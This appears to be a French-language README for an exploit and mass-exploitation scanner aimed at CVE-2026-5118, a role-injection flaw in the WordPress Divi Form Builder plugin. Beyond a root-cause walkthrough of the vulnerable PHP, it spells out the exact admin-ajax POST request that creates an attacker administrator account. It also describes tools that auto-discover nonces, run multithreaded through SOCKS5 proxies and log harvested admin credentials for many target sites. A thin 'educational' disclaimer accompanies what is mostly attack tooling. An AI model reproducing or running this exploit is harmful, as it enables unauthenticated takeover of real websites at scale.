
Exploit automatisé et scanner de masse pour CVE-2026-5118, une élévation de privilèges non authentifiée dans WordPress Divi Form Builder <=5.1.2, permettant la création de compte admin via l'injection de rôle.
Élévation de privilèges non authentifiée par injection de rôle
=== Beelze ( zeroday 1diot9 ) ===
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-5118 |
| Score CVSS | 9.8 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — Gestion des privilèges inappropriée |
| Plugin | Divi Form Builder (par Divi Engine) |
| Versions affectées | Toutes versions ≤ 5.1.2 |
| Version corrigée | 5.1.3 (13 avril 2026) |
| Publié | 20 mai 2026 |
| Chercheur | 0xd4rk5id3 — EnvoraSec |
| Preuve de concept (PoC) | Beelze ( zeroday 1diot9 ) |
Le plugin Divi Form Builder pour WordPress est vulnérable à une élévation de privilèges non authentifiée dans toutes les versions jusqu'à la 5.1.2 incluse.
La fonction create_user() dans FormSubmissionHandler.php accepte un paramètre role contrôlé par l'utilisateur depuis les données POST lors de l'enregistrement d'un utilisateur sans le valider par rapport au paramètre default_user_role configuré dans le formulaire. La seule « protection » est sanitize_text_field() — qui supprime les balises HTML et l'encodage, mais ne fait rien pour restreindre la valeur à des rôles sûrs — suivie d'une vérification d'existence qui se contente de vérifier que le rôle existe dans WordPress (et administrator existe toujours).
Cet échec triple permet à des attaquants non authentifiés de :
fb_nonce) de l'objet JavaScript de_fb_objform_type par register via POST — transformant n'importe quel formulaire en point de terminaison d'enregistrementrole=administrator dans la soumission AJAXRésultat : Prise de contrôle totale du site — zéro authentification, zéro interaction utilisateur, une requête POST.
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← supprime UNIQUEMENT les balises/encodage !
: 'subscriber'; // ← 'administrator' passe NET
sanitize_text_field() est conçu pour le nettoyage de texte libre (prévention XSS). Il ne valide PAS par rapport à une liste blanche de rôles sûrs. La chaîne "administrator" ne contient aucune balise HTML, aucun encodage spécial — elle passe complètement intacte.
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← repli UNIQUEMENT si le rôle n'existe pas
}
Cette vérification demande : "Ce rôle existe-t-il dans WordPress ?" — et administrator existe toujours. Elle ne pose jamais la bonne question : "Ce rôle est-il sûr pour un auto-enregistrement public ?" Une vérification appropriée validerait par rapport à une liste blanche comme ['subscriber', 'contributor'] ou appliquerait le paramètre default_user_role du formulaire.
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← rôle contrôlé par l'attaquant appliqué directement !
Aucune vérification current_user_can('create_users'). Aucune vérification current_user_can('promote_users'). Aucune vérification de capacité d'aucune sorte. Le rôle fourni par l'attaquant est passé directement à set_role().
// Localisation du script JS frontend
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← MÊME nonce sur TOUS les formulaires, TOUTES les pages
// ...
]);
Le fb_nonce est créé via wp_create_nonce('security') — une chaîne d'action générique partagée sur chaque formulaire DFB du site. Tout visiteur peut l'extraire du code source de la page en lisant l'objet JavaScript de_fb_obj.
// Gestionnaire AJAX
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← déclenché par le remplacement POST !
}
Le form_type est lu depuis les données POST, pas depuis la configuration côté serveur du formulaire. Un attaquant peut envoyer form_type=register vers n'importe quelle soumission AJAX DFB — un formulaire de contact, une demande de devis, une inscription à une newsletter — et le serveur exécutera le chemin de code d'enregistrement. L'objectif d'origine du formulaire est sans importance.
[Attaquant non authentifié]
│
▼
GET /n-importe-quelle-page-avec-formulaire-dfb/
← Source HTML : de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
Extraction de fb_nonce depuis l'objet JavaScript de_fb_obj
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← INJECTÉ │
│ form_type = register ← REMPLACÉ │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ passe
wp_roles()->roles['administrator'] existe? → OUI ✓ passe
$user->set_role('administrator') ✓ aucun contrôle de capacité
│
▼
← {"success": true, "data": {"message": "Utilisateur créé"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[Accès Administrateur Complet] 🔥
CVE-2026-5118.py — Exploit pour cible uniqueChaîne d'exploitation complète en 5 phases avec découverte automatique de formulaire et extraction de nonce.
python3 CVE-2026-5118.py
URL cible : https://target.com
Nom d'utilisateur [beelze_admin]:
Mot de passe [Beelze123!!@#!]:
Email [[email protected]]:
Délai d'attente (secondes) [15]:
Proxy SOCKS5 (vide = aucun):
Phases de l'exploit :
Phase 1 ▶ Accessibilité (HTTPS + repli HTTP)
Phase 2 ▶ Détection du plugin (vérification de version via readme.txt)
Phase 3 ▶ Découverte de formulaire et extraction du nonce
├── Analyse des pages via l'API REST
├── Sondage de chemins communs
├── Parcours du sitemap
└── Parcours des liens de la page d'accueil
Phase 4 ▶ Injection de rôle (élévation de privilèges)
Phase 5 ▶ Vérification de connexion admin
Sortie (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py — Scanner de masseExploitation massive multithreadée avec journalisation JSONL et reprise.
python3 CVE-2026-5118-mass.py
Fichier cible (une URL par ligne) : targets.txt
Nom d'utilisateur [beelze_admin]:
Mot de passe [Beelze123!!@#!]:
Email [[email protected]]:
Threads [10]:
Délai d'attente (secondes) [10]:
Fichier proxy (SOCKS5, un par ligne, vide = aucun):
Reprendre l'analyse précédente ? (o/n) [n]:
Fonctionnalités :
Sortie (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role du formulaire, ignorant tout paramètre role fourni par l'utilisateur dans les données POSTBeelze ( zeroday 1diot9 ) — à des fins éducatives et de recherche de sécurité autorisée uniquement